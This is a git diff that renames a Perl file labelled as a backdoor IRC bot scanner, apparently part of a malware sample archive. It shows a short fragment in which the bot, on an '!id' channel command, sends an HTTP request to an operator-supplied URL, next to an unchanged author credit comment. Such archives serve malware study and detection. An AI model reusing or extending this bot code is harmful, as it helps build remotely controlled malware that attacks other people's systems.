diff --git a/Perl/Backdoor.Perl.IRCBot.t b/Perl/Backdoor.Perl.IRCBot.Scanner.tc
similarity index 97%
rename from Perl/Backdoor.Perl.IRCBot.t
rename to Perl/Backdoor.Perl.IRCBot.Scanner.tc
index f1bc1a86..230d1189 100644
--- a/Perl/Backdoor.Perl.IRCBot.t
+++ b/Perl/Backdoor.Perl.IRCBot.Scanner.tc
@@ -107,7 +107,7 @@ while ( $line = <$dsp> ) {
 		}
 
     if ( $line =~ /PRIVMSG $channel :!id/ )
-    {    ## ©© Script made by princeteam1979 . Don't remove this comment !
+    {    ## ©© Script made by princeteam1979 . Don't remove this comment !
         my $testid = $id;
         my $req    = HTTP::Request->new( GET => $testid );
         my $ua     = LWP::UserAgent->new();